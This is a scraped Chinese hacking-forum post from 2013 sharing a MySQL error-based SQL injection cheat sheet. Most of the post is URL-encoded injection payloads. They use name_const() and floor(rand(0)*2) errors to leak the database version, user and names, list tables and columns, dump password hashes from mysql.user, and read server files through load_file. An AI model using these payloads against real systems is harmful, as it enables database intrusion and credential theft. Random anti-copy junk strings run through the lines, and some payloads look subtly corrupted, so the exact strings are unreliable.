找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1986|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 / {4 g: Z" c* H0 y4 z* g. T

& l1 [" t8 E+ k4 N4 i; J6 R: S* A: S. |. u
Mysql暴错注入参考(pdf),每天一贴。。。9 x! S' O" r; f; B

. y2 a) K; Y; L' @( o# @/ y5 E! i' gMySql Error Based Injection Reference8 d# [3 z, J6 M& t6 w# a
[Mysql暴错注入参考]
$ i3 M4 N! M0 u6 o" p. FAuthornig0s1992
: j" \7 a7 [7 |3 wBlog:http://pnig0s1992.blog.51cto.com/
' ~% k9 L; o' p" u' TTeAm:http://www.FreeBuf.com/( ~) E' m. d1 ?& L
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功" A1 n, _) o  o. S  c$ O
小部分版本使用name_const()时会报错.可以用给出的Method.2测试; H+ d, S! t7 p. i+ h) i5 G
查询版本:
9 I$ i4 `' B2 e5 V' i3 h  j+ xMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+- S4 {# R" N& s: K
join+(select+name_const(@@version,0))b)c), j. o& _  h+ ]& T( {6 Z9 O
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
- B: \8 Y) Q; k2 F; C2 lup by a)b)( l; h( y% U% r% w5 L' V7 I! Z
查询当前用户:) J6 d- w* v# y8 h; u; L* c! ]* a
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
3 c8 Z+ r8 P  B( X( G: m1 D( QMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
0 j) r' @* n5 G9 J( M/ d) Land(0)*2))x+from+information_schema.tables+group+by+x)a)3 t% s0 o. b' B  M
查询当前数据库:
4 Q) S0 p9 q9 b# L% P. TMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)* B; P5 z7 n- F6 E9 h
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
1 k" a0 \; v7 n& I2 J6 for(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
: j5 e# D6 U8 Y- T) S依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+/ H0 ]' q  N- F- N" S8 g
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
" M+ \3 u" h6 ?, u: ^8 q; ]顺序替换
' j5 P5 V- p$ e' }- {+ ]爆指定库数目:' N# {% b2 ?7 u0 ~
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
) A% O- i- Z4 M( yable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group: F+ h- B' c2 S8 b- F# P
+by+x)a)+and+1=1 0x6D7973716C=mysql8 ^  O, N* u8 N& z
依次爆表:/ n: k( K* Z# @& T( m/ p
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t, r0 p2 L1 k: k8 ^7 J8 q& a
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
4 ?3 Q9 j& ^0 W2 D8 p0 Y! d  Bbles+group+by+x)a)+and+1=17 [  H& F! q8 G; p4 L" Q
0x6D7973716C=Mysql 将n顺序替换
2 S0 _$ x; r% s6 b; c爆表内字段数目:
2 h9 ^! @) C1 F4 N8 K$ V$ n9 Kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE! e* B6 Z) u8 f5 \) j
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
7 K) r1 T8 w$ s+ k. Y; @- l0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1. o2 N! a# u& ]; B( ]
依次爆字段:
5 q/ s. w4 }2 K4 a$ X& u/ f, \and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where! N  I/ t/ s% F4 D3 j( y5 k
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
" \. q! c8 \8 i' B# rloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
/ u# |8 ^" A/ F依次暴内容:
, ~! ^6 f( e( u" k! land+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
4 V3 R& P/ ^( y8 G& K& Bma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1) o* p5 Z$ t4 N5 m
将n顺序替换' h+ o* e5 x# h2 E% p
爆文件内容:5 y! Y8 l; b/ G1 j
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
/ `4 w/ B  z( ^+ Jfrom+information_schema.tables+group+by+a)b) + c2 T" r* _9 g9 h1 d* D! g
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节' }0 E3 E0 y9 Z$ G% c
Thx for reading." N. J9 f( Y7 \$ }

( O3 \  V3 a  N) V3 G& t# {不要下载也可以,
1 ?6 j: j& h% u$ K9 G/ e. t7 I8 N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表